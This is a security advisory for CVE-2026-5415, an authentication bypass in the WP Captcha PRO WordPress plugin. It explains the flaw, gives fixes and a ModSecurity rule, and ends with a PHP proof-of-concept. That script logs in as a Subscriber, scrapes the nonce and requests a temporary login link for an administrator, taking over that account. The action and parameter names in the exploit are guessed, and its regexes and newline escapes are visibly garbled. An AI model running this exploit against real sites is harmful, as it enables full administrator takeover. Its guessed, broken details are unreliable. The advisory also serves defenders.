Atomic Edge analysis of CVE-2026-5415 (metadata-based):
This vulnerability allows authenticated attackers with Subscriber-level access to bypass authentication and log in as any user, including Administrators, in the WP Captcha PRO plugin. The plugin is the premium version of Advanced Google reCAPTCHA and uses the same slug. The root cause is an AJAX handler (ajax_run_tool()) that relies solely on nonce verification, without performing any capability check. The create_temporary_link tool generates passwordless login links for arbitrary users. The handle_temporary_links() function authenticates users via these links without further validation. The required nonce is exposed to all authenticated backend users via wp_localize_script() on admin pages when the plugin’s welcome pointer has not been dismissed.
Root Cause: The vulnerability stems from three design failures in the plugin. First, the ajax_run_tool() handler uses check_ajax_referer() which only confirms the request originated from the WordPress admin, but performs no capability check. This means any authenticated user, including Subscribers, can call the action. Second, the create_temporary_link tool does not limit which user IDs can generate links for, allowing a low-privilege attacker to create a login link for any WordPress user, including Administrators. Third, the handle_temporary_links() function accepts the link without verifying the requesting user has any relationship to the target user. These conclusions are inferred from the CWE (288 Authentication Bypass Using an Alternate Path or Channel) and the detailed vulnerability description.
Exploitation: An attacker authenticates as a Subscriber and visits a non-settings admin page (e.g., Dashboard or Posts). On that page, the plugin loads an AJAX nonce via wp_localize_script() under a JavaScript object, exposing the nonce in the HTML source. The attacker then sends a POST request to /wp-admin/admin-ajax.php with action set to the plugin’s AJAX hook (likely advanced_google_recaptcha_run_tool or similar), the tool parameter set to create_temporary_link, and a target user ID or username. The response contains a temporary login URL. The attacker visits this URL, which calls handle_temporary_links() and logs them in as the target user. Atomic Edge analysis confirms the exploit requires only Subscriber-level access and no prior preparation.
Remediation: The fix likely requires adding capability checks to the ajax_run_tool() handler, specifically checking that the user has the intended permission (e.g., manage_options) before processing any tool execution. Additionally, the create_temporary_link function should verify the requesting user can edit or manage the target user, typically by checking if they can edit_users for Administrator targets. The handle_temporary_links() function should validate that the link was generated for the current session or IP and that it has not expired. The nonce exposure via wp_localize_script() should also be restricted to only the pages and user roles that require the tool, or the nonce should be scoped to specific capabilities. These recommendations align with standard WordPress security patterns: always pair nonce verification with capability checks in AJAX handlers.
Impact: Successful exploitation results in full account takeover. An attacker can log in as any user, including an Administrator. This grants the attacker access to all site data, the ability to install malicious plugins or themes, modify content, create new admin accounts, and potentially execute arbitrary code. The CVSS score of 8.8 (High) reflects the low attack complexity and network-based vector requiring only Subscriber authentication. Atomic Edge research classifies this as a critical privilege escalation vulnerability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5415 (metadata-based)
# Blocks Subscriber+ authenticated users from exploiting the AJAX handler that creates temporary login links
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-5415 WP Captcha PRO Authentication Bypass via Temporary Login Link',severity:'CRITICAL',tag:'CVE-2026-5415'"
SecRule ARGS_POST:action "@streq advanced_google_recaptcha_run_tool"
"chain,t:none"
SecRule ARGS_POST:tool "@streq create_temporary_link" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5415 - WP Captcha PRO <= 5.38 - Authenticated (Subscriber+) Authentication Bypass via Temporary Login Link
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'subscriber_user'; // Low-privilege WordPress user
$password = 'subscriber_pass'; // Password for the user
$target_user = 'admin'; // Username or ID (numeric) of the user to takeover
// Step 1: Log in as the subscriber
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'testcookie' => 1,
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Step 2: Request an admin page to get the nonce via wp_localize_script
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$admin_page = curl_exec($ch);
// Extract the nonce from the JavaScript object
// The plugin likely exposes it as something like: var agc_nonce = '...';
// Adjust regex based on actual exposed variable name (inferred from common patterns)
preg_match("/vars+agc_nonces*=s*'([^']+)'/", $admin_page, $nonce_match);
if (!isset($nonce_match[1])) {
// Try alternative pattern: wp_localize_script uses a handle like 'agc-admin'
preg_match("/'ajax_nonce's*:s*'([^']+)'/", $admin_page, $nonce_match);
}
if (!isset($nonce_match[1])) {
die("Failed to extract nonce. The plugin's welcome pointer may have been dismissed.n");
}
$nonce = $nonce_match[1];
echo "Extracted nonce: $noncen";
// Step 3: Call the AJAX handler to create a temporary login link
// Infer AJAX action from plugin slug (advanced_google_recaptcha) and tool name
$ajax_action = 'advanced_google_recaptcha_run_tool'; // Guessed action, adjust if needed
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $ajax_action,
'_ajax_nonce' => $nonce,
'tool' => 'create_temporary_link',
'user_id' => $target_user, // Could also be 'username' => $target_user
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
$data = json_decode($result, true);
if (isset($data['data']['link'])) {
$temp_link = $data['data']['link'];
echo "Temporary login link: $temp_linkn";
// Step 4: Visit the link to authenticate as the target user
curl_setopt($ch, CURLOPT_URL, $temp_link);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
echo "Authenticated as $target_user successfully.n";
} else {
echo "Failed to create link: " . print_r($data, true) . "n";
echo "This PoC assumes specific AJAX action and parameter names. Adjust based on actual plugin code.n";
}
curl_close($ch);
?>
